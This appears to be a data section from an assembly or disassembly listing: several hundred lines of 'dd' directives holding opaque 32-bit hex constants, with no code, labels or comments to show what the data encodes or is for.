		dd 3EC31Dh, 28308059h, 570915E6h, 60E3C074h, 9EDF2A08h
		dd 0D68A8380h, 0F4A81A52h, 0F500C4DDh, 0FC666215h, 247C0BC9h
		dd 40F0B5B7h, 79D350EEh, 0C254703h, 0ED66ECE9h,	3E0068A2h
		dd 2E187BD4h, 433053B8h, 5557B8B3h, 0ADAA0A88h,	4FF87F54h
		dd 946680ABh, 0F33AB100h, 18C3CEE6h, 45C0B8FBh,	0CC5440A5h
		dd 0DF588DF0h, 817C8048h, 0EAE032DCh, 76CB0F30h, 56C351EFh
		dd 78092435h, 82360858h, 6E641D37h, 0F4890070h,	0DA413F3h
		dd 6AECFBA8h, 837A183Ch, 0D96535E7h, 51BD8297h,	0D2FA0030h
		dd 299B87ECh, 0A2F066E4h, 4C839096h, 0A84A1472h, 7DEB8D70h
		dd 1D3EE13h, 3DCE2F9h, 0E03AA8F3h, 3848F8F0h, 45EFC84Ch
		dd 8FCC0066h, 0F66A50D4h, 38FA8201h, 69E4A4FBh,	7078D3h
		dd 9D4BD6F3h, 0D30DE6EDh, 0A0DE9B27h, 2E172524h, 554700E5h
		dd 0AEB7663Dh, 720C16F3h, 38F569FEh, 22149009h,	0E70E3FB5h
		dd 0A01F89DAh, 8294C1FDh, 0D2F50040h, 712F3416h, 98DFAEEAh
		dd 90CF7DC0h, 9EBBA28h,	76F80493h, 0FE1758C8h, 0A5734C00h
		dd 22F7C08h, 8B9494D5h,	8985BF8h, 0A31FDC1Dh, 3E125D91h
		dd 1F80A827h, 0B83D74EDh, 98B65170h, 901D7DFCh,	0E901E91Ch
		dd 3BFB10EDh, 3C4559BEh, 2F528C80h, 0B00129Eh, 24FB1BCCh
		dd 0F3545726h, 0A4BC01D8h, 6D4D07FCh, 0A3EE08BBh, 4158731Ch
		dd 910D005Eh, 6E778340h, 344600D5h, 0E6F6181Ch,	7C0A9DC9h
		dd 244FDB90h, 0CE8E2400h, 0B0122CCh, 92319691h,	0A1BB5490h
		dd 41D36800h, 0C84D20A8h, 1AD79A0h, 14CDA529h, 0A47B36BAh
		dd 8860C480h, 0F95684E1h, 6E009022h, 0F969C515h, 2F00994Fh
		dd 0BF64D138h, 78A3B13h, 23B86D60h, 598BF2EEh, 4B13A4CEh
		dd 0D203EA0Eh, 0C2B471A5h, 93C8A1B5h, 10E5035Bh, 0EE92DECh
		dd 0FE81AF8Bh, 2053F002h, 41BA1480h, 9D00863Bh,	8305A8D6h
		dd 27711B25h, 0EC19F7FEh, 84EE0CE3h, 87604A5Ch,	41B2ACF3h
		dd 97E0DFB9h, 5A1D6D68h, 9882E830h, 0E485CE65h,	0C9800110h
		dd 5AAE67C0h, 0F33230DAh, 0C914102h, 60E69E13h,	92EADECCh
		dd 68C5033Ch, 8C5E54ABh, 37F998D0h, 1B909C02h, 87742904h
		dd 41C14AE0h, 0D3705139h, 0C099A2h, 6FB92E2Ah, 0EC002FA7h
		dd 345C6D43h, 0F4F0193h, 0F89AC842h, 87E3BDC4h,	0D8AC78D8h
		dd 3907D600h, 2C3ED9F3h, 1F8072BEh, 4A72702h, 8E88EADBh
		dd 5F60E329h, 5A663841h, 82AC9003h, 7BC9734Dh, 847CA160h
		dd 0EC976180h, 98A5D955h, 0B964BC00h, 0CA564475h, 0A7A90042h
		dd 0FA7D175Dh, 8F052B65h, 9ADBCB2Ah, 0A48CE884h, 3B57610h
		dd 0D3565C65h, 99097423h, 145F642h, 0FF90927Eh,	3B62DE8h
		dd 0FD3C0E94h, 0EAC1FB47h, 7D2833EEh, 1D02BFF2h, 46F45614h
		dd 7D78605Bh, 82F8A6F2h, 902C403Ch, 74A9FCADh, 2D9600C0h
		dd 67166601h, 2501F6E3h, 9A3A18CBh, 72B88586h, 54A7732Dh
		dd 80A0C9AEh, 0F3A086FEh, 38F51F5Ch, 0F45F808Fh, 0F73CD594h
		dd 0AE5C98EBh, 8DD10030h, 8C4120BCh, 5AE213C9h,	0F6DEF003h
		dd 0C89034CBh, 961D4874h, 0C15F83B8h, 7DA3787Eh, 0ECE285h
		dd 0F1713533h, 12AB786h, 96263254h, 0C7E38506h,	49157CA0h
		dd 0B83E4E01h, 5A2599A9h, 2EFBC4h, 34D04E8h, 0EAFA1C08h
		dd 7FD4FE00h, 0D355A7F9h, 0F82C90CEh, 50D4A057h, 737B0013h
		dd 705F943Ah, 29071009h, 0CF4471F0h, 45EF4940h,	1AE41CB7h
		dd 23A80B6h, 1EC10CA0h,	1B0938C0h, 780A07DEh, 0BDD50010h
		dd 8BA66399h, 0D18E7DBh, 9A291D86h, 94DCA087h, 0B55100A1h
		dd 0CFD52E9Eh, 0B6F82964h, 0A235E00h, 6B16CB5Fh, 0AC99C04Eh
		dd 0F439CF04h, 8BDEC400h, 67B3530Fh, 83EC1818h,	0C2277906h
		dd 0C1B00B18h, 3368160h, 0C8F5F20h, 810CAB88h, 0E0726A3Dh
		dd 69BB002Ah, 0A828E7C4h, 0FC0018A0h, 6AD99F29h, 9CFB14h
		dd 0F0C97470h, 1BCB3DB4h, 913C6830h, 5DDC97h, 5A024210h
		dd 0B43E5793h, 9B3BD20Ch, 60986113h, 0CC0D9961h, 5B002EA8h
		dd 0D4F4AD63h, 78BBD14Ch, 0E2B01E96h, 18FA4A67h, 98183984h
		dd 0D70B397Eh, 95661400h, 5FD669C0h, 5CC902EDh,	5E9438BDh
		dd 0F566D4A1h, 0CE99833Dh, 0D9864h, 3607BE41h, 28AEC085h
		dd 0D40069ECh, 496C1E5h, 0FC887FD2h, 0B2F01FB0h, 0F3664622h
		dd 642A4936h, 5C029817h, 20ED9386h, 197860F1h, 0BF880579h
		dd 3D310B3h, 8F0B9EB4h,	0A9FBDDC0h, 6E034CF0h, 6BC403FFh
		dd 84510037h, 0A41AFB6h, 3C00FEEDh, 1CE3CBD8h, 7BBA4F5h
		dd 0DEBFBC54h, 759DD380h, 86407850h, 51A04960h,	0ECDDACA1h
		dd 0BADE06BDh, 201C40CFh, 7EE37C14h, 5F520078h,	84F59ED5h
		dd 4655001Bh, 0A0606DE6h, 104CDA3h, 11EC2086h, 24255080h
		dd 6061481Fh, 0A63E0F80h, 0D100CEE8h, 8401B192h, 269359C5h
		dd 2AA8DBB4h, 0E770260h, 9834EF86h, 82987844h, 1158909h
		dd 0D44830E1h, 35A00625h, 41656EFFh, 4E0051F4h,	1C8E50BFh
		dd 1855673Eh, 21A4850Dh, 0ECA87838h, 0C7006A7Ah, 0D2250BB4h
		dd 0A894427h, 8661EC55h, 833961F8h, 0E91D1062h,	36211C08h
		dd 0F60C40A3h, 0E84A4E43h, 0F234C01Dh, 0B09E3B8Ah, 0F17A2A40h
		dd 0C360E41Ah, 126ED341h, 0C3D18900h, 261905A2h, 0C9C20179h
		dd 3BA6FAE2h, 0E070250Fh, 8900CC8Eh, 6FF66778h,	92EF1Ch
		dd 0BDD2B584h, 70FF7EEEh, 4BB258h, 79D39875h, 71E1CB60h
		dd 0F74C79F5h, 5C7B4880h, 2C1B3F0Fh, 1A58E300h,	9D94F323h
		dd 0E14F12B9h, 18A42383h, 41317A0h, 0C02AA51Ch,	483AB103h
		dd 65EA077h, 0A0970038h, 1B5FD25Dh, 0CE520DD4h,	639875DCh
		dd 2926D70Dh, 0ADF17968h, 55EEEE8h, 0A283CB7h, 0B08022B9h
		dd 92043043h, 0E53BD0D3h, 588CCCh, 40DDE025h, 638346CFh
		dd 9B8A1C1h, 0E1CC5033h, 0F92700CEh, 20EE385Dh,	0BA72FD65h
		dd 940095F4h, 0D2A14A4Fh, 65119186h, 827B59E3h,	50643A42h
		dd 0F9B3A100h, 0A890B978h, 217C07D4h, 60EEA4CCh, 0AA8D56FEh
		dd 663A7A18h, 1D1F31h, 0FB319161h, 0ABC94C5Fh, 0FDD54600h
		dd 0D3E15901h, 677901F0h, 1AEC47E2h, 0D839A4DEh, 0E0BB4B00h
		dd 2CD25F0Dh, 4108682Ah, 0FB903EA9h, 0E96364C9h, 5066C24Ch
		dd 48FFE600h, 12C330CCh, 20AB0029h, 5F44A8B6h, 1C060675h
		dd 9891AA9h, 0A48AE631h, 90D70C8h, 1550DCB0h, 0D3341498h
		dd 87D5D603h, 0B08DA984h, 1C0468C8h, 80556956h,	13821E2Ch
		dd 0CB038191h, 7EE1AB0Ah, 5EC90074h, 0E070AC1Ch, 60B03C76h
		dd 0C1EECF4h, 9429D97Ch, 0E263502h, 0C2DF4005h,	4C700088h
		dd 58773E93h, 0C013B302h, 0C2072D8h, 0FC7548ADh, 0C7E10FA2h
		dd 0D9439AE0h, 21001165h, 8B14B9DDh, 1DF9352Dh,	86610BACh
		dd 786F40F0h, 0B848D8E1h
		dd 35FC0809h, 0BD8700BCh, 91825AB4h, 6788046Ch,	0EB3C004h
		dd 0A109B862h, 0C85BFCh, 0C15AA7A5h, 0B0D3E2EFh, 0F0D0008Ch
		dd 58ECC64Dh, 0AD6372DAh, 0A00BE989h, 169F310h,	74D39059h
		dd 0D0EBCDFFh, 4A4FE340h, 26EACFB0h, 4020F161h,	6816F5ACh
		dd 8A113B60h, 0E55B0CFh, 0A4493D67h, 0C86A12A0h, 1900F063h
		dd 0F18ADC23h, 75A7B1A9h, 39396466h, 0E260C864h, 180F92E4h
		dd 0C001DDB9h, 0AB16A66Bh, 7EA4EE07h, 87E48AEh,	0A167C180h
		dd 950062EAh, 0FB2C6F9Ah, 2C5BAED0h, 4BFB9BCh, 8CF81ABFh
		dd 3C300D90h, 32F2115Dh, 0CBE46Ah, 0CD225435h, 0A29EF4A5h
		dd 0B3238800h, 0BBC9A673h, 42E0900Ah, 78480596h, 0B892C81Ch
		dd 0EAE8436Bh, 1410608Dh, 74B00090h, 0EFE5D693h, 626E3C4Fh
		dd 97036039h, 2E9B363h,	5614FBCFh, 0C4C43C33h, 0B10076F6h
		dd 0BEC1D0FCh, 8B0ADC1Ah, 80E4D3A2h, 8924E776h,	1020C072h
		dd 46BC3E00h, 0B960182Ch, 536B2AD2h, 903900ACh,	58CC1ADFh
		dd 3C18BF38h, 29717A97h, 9EE39F5Bh, 0D8C88FA3h,	0E02A70Fh
		dd 1AF7EAFDh, 744C4FBh,	13795D5h, 0B68A307Dh, 6A1DBDE7h
		dd 690FB3E4h, 0E24AA023h, 0C0528B61h, 9B94A779h, 80B8559Eh
		dd 212BFD00h, 12BE606Eh, 45683017h, 633B8829h, 9C6BF300h
		dd 0AEAB0B99h, 785D1366h, 81040093h, 60D5D2A9h,	58E03F00h
		dd 0DD5A3CC6h, 98182496h, 0C70D40DCh, 0F20FE7EBh, 0E06D4A83h
		dd 0C0A43B86h, 29ED04B8h, 81118EF3h, 100654h, 3088CC67h
		dd 53A01DA1h, 9835455Ah, 8F00F17Fh, 0D1E0B72Bh,	0FE7E67h
		dd 309CE516h, 0B5470ECAh, 1CE38A26h, 0B49F1D60h, 0C6418F8h
		dd 0EB21C06Eh, 0CD58141Eh, 4468CE86h, 0F68900F1h, 83D499FFh
		dd 0B40091ADh, 19098071h, 486155Dh, 7B33943Ch, 6010C872h
		dd 0BAF9E400h, 0D4C5F544h, 0CAF802BEh, 0E7A2891Dh, 0CB16F8E1h
		dd 0A84244A2h, 1A217000h, 0B0B857B6h, 0C4FC7D18h, 2174AE8h
		dd 8E44FA58h, 1FDCEEFh,	4255A0BDh, 283A180h, 0D39D0C56h
		dd 9E91EA38h, 0C0418B93h, 31362DAh, 40BBC830h, 3760680Bh
		dd 0B9AE6F39h, 3E27F22h, 6E282140h, 1FA0C9ACh, 5E0C9EFAh
		dd 90624B0Fh, 83B50180h, 0CF0D6BDBh, 1BE98916h,	647E006Eh
		dd 798B3F0h, 0A80AE797h, 0DEE82C9Eh, 80788348h,	2F15D3B7h
		dd 0C449076h, 1C6EA2EAh, 5307B249h, 0D64F7C8Ah,	213B0600h
		dd 6D47240Ah, 5A370078h, 87465613h, 51088330h, 0FE32FC58h
		dd 0B51F00FDh, 4A3D74C7h, 0A8A48C65h, 0F6EB1D00h, 0D05E76A3h
		dd 1AB91297h, 800024F0h, 0CA3811D7h, 41778A90h,	16BAE202h
		dd 85A9C10Ah, 9889E670h, 7C9B2820h, 0B838076h, 872789C0h
		dd 1ED89F02h, 47DDBFFAh, 20E2B060h, 8EB894ABh, 0CC374A00h
		dd 0EA84675Ah, 25B9380Dh, 0ACFAE51Fh, 4C1709DBh, 40513804h
		dd 0E4B2C4Dh, 0FBDF002Bh, 79204982h, 0DD095128h, 10BC0ACDh
		dd 5566B034h, 3AE0ECFEh, 0C950A329h, 51A0386Bh,	3BA500C8h
		dd 0A9A00775h, 0D806F721h, 45B839B7h, 941C390h,	83D03688h
		dd 0D5012111h, 0EA6C4DBDh, 1040A66Eh, 3E593D63h, 68008BABh
		dd 19D5CB0Dh, 0AC007196h, 8A09DB5h, 4847AAh, 75DD8543h
		dd 0AE5FBFD0h, 91D30C35h, 0E772CC80h, 9E71D6h, 0DD26935Dh
		dd 9861CF18h, 720014B1h, 0EDC0D4Ch, 82F05Ch, 0AAA601E1h
		dd 0CA43945Dh, 23CF203h, 0E8848609h, 355513h, 4640FBB9h
		dd 0B65A7A5Eh, 2B012EEAh, 0AF6E1AAAh, 0D1F4208Bh, 63B00E5Fh
		dd 53A9E647h, 6001846h,	81BE338Eh, 58CF45C4h, 62001443h
		dd 0D6A1F0D9h, 7B2495ABh, 7D401061h, 17BBBEA8h,	30C9F21h
		dd 8FF66A4h, 6C895103h,	0EA6B61h, 423F58F9h, 0E7E8992Ch
		dd 644A0403h, 0D8BE9A80h, 0ECB7DCh, 0F5C79594h,	0D5843BCEh
		dd 4C740098h, 0F316E402h, 5283934Bh, 0A17007DCh, 0FB780Eh
		dd 94DC8E9Ch, 0B503CAFAh, 0D2D9C016h, 681AA04Dh, 4081DE4Fh
		dd 0F1F2EADAh, 0CA1DCDD3h, 1AD3390Ch, 0FB54A842h, 65A0E0CFh
		dd 6A552635h, 0C01247F8h, 1B18F178h, 650059F0h,	208248C5h
		dd 27914D7h, 0C38194A8h, 145A3C36h, 0C718FB00h,	0CE75509Eh
		dd 25EA00DFh, 5AAC99E4h, 0AB00C881h, 0C48BA50Ah, 14932380h
		dd 0D41E43A9h, 9E07FC3Ch, 84588849h, 2524A2F5h,	4AEC18BCh
		dd 142C040Eh, 0C1BB6D5Ah, 0FCB07CE0h, 0E5097154h, 80F65B2Eh
		dd 94F33D5Ah, 417009Ch,	21BDAF01h, 7CB36555h, 66D6B480h
		dd 274CE2B3h, 8898903Ch, 32E465Bh, 73022DD0h, 5A3A5E7Eh
		dd 5ACEED8h, 0FF5FC0F1h, 6AD4C212h, 3859F890h, 0A2FE5C00h
		dd 32E16724h, 0A1090022h, 7CAE8531h, 0CC04EABBh, 66DDCFD0h
		dd 950EF0B2h, 6D291B67h, 11683410h, 825ACB01h, 0ECDC3D52h
		dd 6FB70AFCh, 9052217Fh, 9AB8C274h, 0E765A401h,	0BACA6E57h
		dd 0B6C287F3h, 0F9F4818Bh, 0F5077360h, 5FAC04F6h, 5820F275h
		dd 28E5000Dh, 7E80435Dh, 89210167h, 9AA204CDh, 7520631Fh
		dd 8700F97Dh, 0A31486Dh, 8F1DC4h, 0B0D90F65h, 428C51CBh
		dd 9A3CEF0Ah, 90A59867h, 215700h, 0B03F1F43h, 0B35C862Bh
		dd 7ACB140Eh, 0E3FBAEFAh, 713C6Ch, 0A39EB439h, 18B13DE2h
		dd 2830F317h, 794CBD01h, 0C63F5D9h, 4063E51Ch, 3EFBFA4Ah
		dd 0AA001C40h, 4C41F807h, 6DA957h, 0A79994EBh, 0D209A146h
		dd 0E1D3BD00h, 2554A316h, 73A1C06Bh, 0C47090F2h, 0CE013500h
		dd 3D42B976h, 0E3110138h, 3FD05D14h, 80A4281Bh,	9B422FC2h
		dd 0E12200D1h, 37F3E308h, 0A716D9B8h, 0A4014EC4h, 0B4F1497Ch
		dd 133E5820h, 208A61EDh, 0B8023A18h, 721F47EAh,	0C942BCC5h
		dd 4660C441h, 74580338h, 63B645A2h, 5553B5D8h, 1C53C44h
		dd 6F8FE535h, 4076A5F5h, 0D20A2386h, 0ED0921C2h, 4D3CE0CDh
		dd 58860929h, 29334Ch, 10B4B480h, 62F0D52Ah, 0BB2F530Ah
		dd 0A060AC46h, 13814BF6h, 1061CFAh, 6634A859h, 814C3C8Dh
		dd 8A0A28DDh, 1B162469h, 0C5B82789h, 954400D0h,	0FC23199Eh
		dd 64695D2Eh, 0AF6C4F40h, 0B98900B0h, 93FF619Fh, 0A600D67Fh
		dd 6D5D29B3h, 0F0F8E23Ah, 0CFF00401h, 0E21BE7B4h, 0FB0D00ECh
		dd 45E00A6Bh, 3C60B208h, 6BFB12Fh, 0AFACF58Dh, 481062B0h
		dd 0FA6E0230h, 0A35C3C1Eh, 0E84ABAB0h, 0F69C47h, 58AC6B19h
		dd 0D4566112h, 0FD69BD07h, 14C08B89h, 0EB3A9186h, 0FEBC24h
		dd 5F83B69Ah, 9039EFC5h, 0EA00BC7Fh, 929358D3h,	54F56549h
		dd 2EB4BCB3h, 9904FDDh,	18906877h, 1A3E9B0Fh, 9FEB812Bh
		dd 0B04AF67h, 0C956FCh,	9EF0E38Ah, 117688B1h, 0CC77FA2Ah
		dd 864222Eh, 3FB77440h,	0BB41079Dh, 404C14CBh, 0F81834DCh
		dd 1D4784Ch, 0EDE17A09h, 0F9FCD516h, 93F307C6h,	70FE570h
		dd 0FC6BC7B4h, 0DB004791h, 727A3D04h, 0F4F19311h, 28320017h
		dd 657DF792h, 4200F069h, 0CC26E13Bh, 93A8BBEh, 98A157E6h
		dd 0EC971C10h, 0EE1ED500h, 882EF8C9h, 40B64C1Ch, 42D34800h
		dd 1F8A04D2h, 0E7C8663Eh, 0E7A0BD98h, 4B4CDC22h, 36684798h
		dd 0AD7830C8h, 71301A9h, 68000455h, 2182F34Bh, 0E15E06D3h
		dd 19A896E6h, 94F67226h, 841C6828h, 0F24AD95Ch,	8030BCDAh
		dd 0B8E44941h, 0A6CAh, 185A9D1Dh, 8913FAF2h, 0CCFE7700h
		dd 0AA48CC2h, 49FCA0E6h, 0D92005Eh, 0B2FB4247h,	7205B04Ch
		dd 11E452A0h, 0E28048C7h, 74D4CFB1h, 51977F0h, 973BEA9Eh
		dd 0DDD0D070h, 31EDA248h, 0E4ECD704h, 0F8022938h, 0D954247Fh
		dd 0BDE3755Fh, 5016D0F6h
		dd 1460134Bh, 0FBEBF6h,	15D77E4Ah, 0AA9EF4D3h, 6B470C0Bh
		dd 0ED504898h, 0A32F487Fh, 0EFAD4000h, 0CB290669h, 0EA112B30h
		dd 993BC15Eh, 2A17B4h, 9E8723BBh, 7A01AB7Bh, 453A2E61h
		dd 85E9A816h, 9C9837E4h, 0E15D4748h, 601B77B2h,	0DF2790B4h
		dd 0E6901019h, 868F037Dh, 118E7A83h, 44E472FBh,	384AA288h
		dd 0B4464080h, 0BB39769Fh, 45549C5Ah, 0E21A94BAh, 0A978011Ch
		dd 78861E1h, 13A7E424h,	9B5510Eh, 0A88B0B0h, 0E00B8540h
		dd 9088806Dh, 0E64F1AD1h, 0B2782C21h, 0B393C041h, 876F5D1h
		dd 82777D09h, 0D1003CE4h, 3526A518h, 7ED34914h,	0A37230CAh
		dd 0AB3B03C1h, 80BD8F3Bh, 0E72D22E1h, 904130h, 95275FEBh
		dd 8F1A6C60h, 4A02287Fh, 2D74008h, 0E87362EAh, 0C01864E0h
		dd 65C62351h, 0A5070F43h, 14CD925Ch, 1BD729B1h,	0D820E031h
		dd 982B04F0h, 0F465D07Bh, 38E2CEC4h, 80F23438h,	0D96A80CAh
		dd 2B44F83h, 0E298E742h, 3864FE61h, 692F3A15h, 28205BACh
		dd 0EFFBBD4Fh, 0EEF9B02Fh, 170D3F3Eh, 7E1F1917h, 1AAC6440h
		dd 3BA94DB6h, 1E8B118Ah, 488424EDh, 0CDEF4013h,	63BC1Bh
		dd 5CFA6BD1h, 0F66A45F9h, 440AD726h, 390FB905h,	0F840B41Fh
		dd 3A1C7A8Ah, 91606B9Ch, 19123844h, 1680AEEFh, 592B54Dh
		dd 12EABA65h, 0F0A2AAh,	0F61BCBCAh, 26386378h, 1817EF2h
		dd 0C52D492Fh, 0B06D3Ch, 7B3754BAh, 42B6CEh, 0D6B9D451h
		dd 2C8DAF0Bh, 91D7702h,	5283B46Ah, 0C699003Ch, 7DE8E38Fh
		dd 9F0904C0h, 0E4FEBD8Eh, 93CE0ED8h, 805E6F44h,	8BA9AE4Bh
		dd 0AC015243h, 58F014ECh, 0D0C40DB3h, 408096AFh, 8A9C7AD7h
		dd 21A6A42Fh, 55AFF5B4h, 0E0C02806h, 0EF6E3A0h,	0E7B502FBh
		dd 0BFDC6768h, 4B855840h, 56C3B50h, 0AB4C2700h,	8D0D2B6Ch
		dd 0B6B800CDh, 84C770F5h, 2C16F7DEh, 4001B4EEh,	0D0A19246h
		dd 197E5E8h, 2A8BA82Fh,	60B2964Eh, 3B5223B0h, 0E4D900ACh
		dd 5FC71993h, 1F4773AAh, 0F17771h, 0B395E059h, 511D24C9h
		dd 94C0D5CBh, 8884F037h, 0FC4D76F8h, 95D09B6h, 0EC802D9Fh
		dd 0BB2EE333h, 85096092h, 686BD931h, 1ABBA34h, 4AC4F55h
		dd 8076695Ah, 92454A4Eh, 4E3BD754h, 98704991h, 0D6AC2CE8h
		dd 0D4E34300h, 33C3A77Fh, 1029443Ah, 755886EEh,	1C4C2CF4h
		dd 3B403402h, 84108293h, 0E0E455h, 0C738F188h, 2B7D15ACh
		dd 1BBD9600h, 8B6B0791h, 400B8D7h, 776A2693h, 800CAC16h
		dd 0F8D120CBh, 5B46003Fh, 0E0B137E9h, 84B9CD0Dh, 0D3C8DD90h
		dd 88539F40h, 0B6110E79h, 1958641Bh, 0CE00E7D4h, 15E8CC94h
		dd 96DC9C6h, 98B35C05h,	23E900C8h, 0B76CFA07h, 0A560BBE1h
		dd 7755DBDh, 2B14D817h,	0DC536059h, 8A01DD42h, 55A6A3FBh
		dd 5C22F065h, 22903A16h, 98D81B48h, 0D4ECB082h,	7883AD00h
		dd 5EC0D7D2h, 91897DC9h, 5FCA803Ch, 0F7DC8241h,	3553D900h
		dd 51D466A9h, 4CBF74F8h, 0B02CBF4Bh, 37B20060h,	0CB7C8621h
		dd 44DE202h, 9071DD1Ah,	9445F8Ch, 923B4FD3h, 0CC9E5852h
		dd 0E441C902h, 0A0948149h, 307094FBh, 3AF12E05h, 5E8B016Ch
		dd 32933C8Dh, 0F36613D8h, 0E094E822h, 0CD5E82h,	86E7858Bh
		dd 1DF066A8h, 527121C9h, 51110100h, 0D01CC639h,	921AF555h
		dd 6CCB1219h, 7A7141Fh,	63E1BEFBh, 60E93556h, 73D18087h
		dd 0F9436BCh, 308D5940h, 0A082C289h, 0ECC0BE6Dh, 0D84A294Dh
		dd 0D22888h, 0FEAB34BDh, 0E7FDC8D3h, 166080Fh, 8020A96Dh
		dd 0A09402CDh, 0C5BB2418h, 9A370B75h, 480010C6h, 750D7346h
		dd 1BD412D6h, 3AA632BDh, 3C4B7812h, 0E1849032h,	202B4118h
		dd 0F814B76Ch, 0C918F0E0h, 0E659633Ch, 0B92C0304h, 4D37CDD4h
		dd 8AE3A3F8h, 9003DD2Fh, 58675E48h, 5075733h, 703D84ECh
		dd 0AF169C6Ah, 61CB2102h, 0D2D00CB5h, 0BC385C28h, 7DBFDA80h
		dd 6D00E674h, 0FFBAB2ABh, 2AB449CFh, 44BEA5h, 1832F2CCh
		dd 31991A4Dh, 0FF395Ch,	5CF0282Ah, 50BDFBA5h, 725AC3Ch
		dd 7629EB3Bh, 0D44859AAh, 800D767h, 0C443C877h,	21B6242h
		dd 0D9D39173h, 4C60BCAFh, 7502DA2Dh, 0B378A78h,	4A186CD0h
		dd 6A902077h, 0CA00C015h, 0CE7FC4D5h, 7ADED61Ch, 89E50259h
		dd 83F208B2h, 431350F2h, 2F00B476h, 0C63BEBF8h,	97E90024h
		dd 0FBF5F3DEh, 0ED7BF149h, 38A43E5Ch, 7C51B8B5h, 48BC8F98h
		dd 0CEF92C40h, 0CC8E090Ch, 3D81CF0Ah, 7077B3E7h, 1001410Ch
		dd 0AD6173F0h, 51F2F2C2h, 5C813CA0h, 4D99FA2Fh,	4C4FE4D4h
		dd 0E7189701h, 6A969E14h, 51028C2Dh, 0CD632DE2h, 5B5D34C0h
		dd 181BB407h, 555504DCh, 0E628A4h, 2684D217h, 7C2C9587h
		dd 75A48600h, 7D33023Ah, 0BE149922h, 0DCC0B300h, 0FD546BE0h
		dd 1CAF4F00h, 7DBA22F1h, 5C6C00D6h, 90A3943Ch, 0AE4B2B42h
		dd 0C08B5800h, 4E66CA7Bh, 6C3423F4h, 923C87C1h,	0B4E46411h
		dd 70DC00C1h, 6C2A4C0Eh, 649078A1h, 690B7100h, 7C94EFD7h
		dd 799D0B11h, 0B8686BEEh, 71DBF5Eh, 9EC0E753h, 6455B36Ch
		dd 98755C76h, 3C435D09h, 0A55E2010h, 7CD9B600h,	76BA8770h
		dd 0FCEA0018h, 6394B42Eh, 0EE0EE472h, 5D3FE0h, 0BC0EED9Ch
		dd 0A88F0025h, 1B6CEA49h, 0D3A5856h, 0DD7300F3h, 0A4938DF7h
		dd 1862EF95h, 0D9E6E000h, 0F3C73EA1h, 8FB82302h, 0CC1A2EAAh
		dd 9CD4224h, 0C98C61EFh, 884871A4h, 4C1400E2h, 494A5174h
		dd 53008744h, 8A846B5Ah, 0FD3CBFD0h, 7C1E2C24h,	1CB95EE8h
		dd 0D31B05BCh, 559C8755h, 0F4B4CCDCh, 74613500h, 0CCA27D0Dh
		dd 90A800B0h, 0E02BD763h, 962484B4h, 7660582Ch,	1348FB5h
		dd 7B6AA3AFh, 50CBEDC9h, 0E278423Ch, 8950E613h,	0FCF0F407h
		dd 0D51B2560h, 74B0025Eh, 42035BF1h, 20B41FE1h,	628A4504h
		dd 247C4CF4h, 0E0A087h,	0F3EDBE3Eh, 0E7006B0Dh,	0E20C1319h
		dd 0B87F94DFh, 0AF844080h, 18963C2Ch, 0A6801949h, 0E8493DCh
		dd 0E2B3F1C8h, 0D0D6CF47h, 4C1C475Ah, 23B9D04h,	54ED5553h
		dd 28C0B400h, 94BA0FBDh, 0A3BC9C02h, 84D598E9h,	784072D8h
		dd 8C66DEBBh, 98804CB1h, 93E5EAF9h, 0F46D0B9Ah,	0BC64A89Eh
		dd 0D0185AC0h, 12A6D8ACh, 0C760817Ah, 0BEB51058h, 71167B21h
		dd 60206545h, 482375h, 641C61A4h, 56A6023Ch, 0C00CF400h
		dd 73C9F94Dh, 0EA112C47h, 0F64F6038h, 0B1000BFAh, 37F23BACh
		dd 0CB0D59h, 0BC6B54C2h, 0A09EFFBFh, 80FC6A48h,	1C426FCEh
		dd 0BB03016Ch, 9C78FCD9h, 0A9D82039h, 92BCAD25h, 9B68409Ch
		dd 5477010Dh, 66473346h, 1C2823ABh, 0DEC06D8Fh,	0A532BBF9h
		dd 149339AEh, 0A1DCA880h, 5ED2A29Eh, 8B8A1C03h,	9AEE0D09h
		dd 4198620Eh, 37D06CF5h, 0F06900CFh, 3ED0636Dh,	48B16436h
		dd 409E0200h, 0AB0DFAh,	0F592EB06h, 6AD46963h, 9978EE03h
		dd 0E19489E1h, 202A489Fh, 0F1017A48h, 80C91107h, 33F49EA6h
		dd 218080ACh, 2D5C9824h, 8CA97000h, 7F48D628h, 341A16CFh
		dd 0D8102068h, 74003065h, 8764B84Eh, 0F1EA693h,	0DE8E8D14h
		dd 70FC83A7h, 334D0DF0h, 3DBDD500h, 94A9A2BBh, 80500BB9h
		dd 3C22DE1Ah, 0CC0187Bh, 922CA79Eh, 6D409C3Bh, 0D3AC83h
		dd 32D0B0D4h, 0D1337C4h, 0D88553h, 0A6E27999h, 3A3BFFA7h
		dd 9D0046EAh, 23025108h, 9E783282h, 0C406A4Ah, 45286DE1h
		dd 67D04A8h, 0A225CF36h, 89231F08h, 0D40C90A5h,	0B6CB00CFh
		dd 1D162CDFh, 649C6E4Fh, 78C15680h, 399C7A43h, 6B1F80F7h
		dd 1B6A8926h, 0A24C3485h
		dd 4F1E0014h, 51096048h, 0D3780026h, 791B2346h,	2A1DE494h
		dd 8047BF6Ah, 22D09EE0h, 0D81AA781h, 0FDF3206Ch, 0FB12A8BAh
		dd 940019B8h, 0C9E0675h, 9CA4BCBBh, 1BDB4295h, 0B88027ACh
		dd 557ED3D1h, 67FBB302h, 72E31AF5h, 404C9484h, 5032D957h
		dd 430540F0h, 16A664ACh, 5D2F0CC1h, 711BC452h, 0AF908080h
		dd 0E28ADC3Fh, 1EBDBC13h, 932888h, 0B8C711E6h, 5177121Fh
		dd 766ED814h, 21620988h, 0A3D800A5h, 393C22Fh, 0EF3377Eh
		dd 1801C114h, 0D5BB049Eh, 1C798B66h, 85AEA73Dh,	0D9D103E4h
		dd 0A3C0A9F1h, 0D403BDE7h, 275D3B39h, 0E3DFC884h, 78B200FBh
		dd 0BFCE20ECh, 902672C9h, 4B255440h, 56C19A68h,	6DB641F0h
		dd 80A83CA6h, 0B390B50Ch, 61EA0288h, 0BED01BB9h, 0C871CC62h
		dd 263D8B80h, 9E4368Ah,	83415F0Dh, 6B50B090h, 0FC2897B0h
		dd 2424E0FDh, 880158F4h, 9DA09443h, 1D2AC8h, 0CBFB9718h
		dd 0BB6E8A7Eh, 61643D30h, 769C2409h, 99A5254Ch,	91F188A0h
		dd 0B500F0BFh, 9C23610Ch, 38CBE6B0h, 363A3418h,	205F2248h
		dd 93A8F7A0h, 6C578C07h, 9D378BE3h, 0B9704860h,	0D34900DFh
		dd 7D286FB8h, 612FE6D9h, 0ABD419F2h, 509EA8D4h,	2662B449h
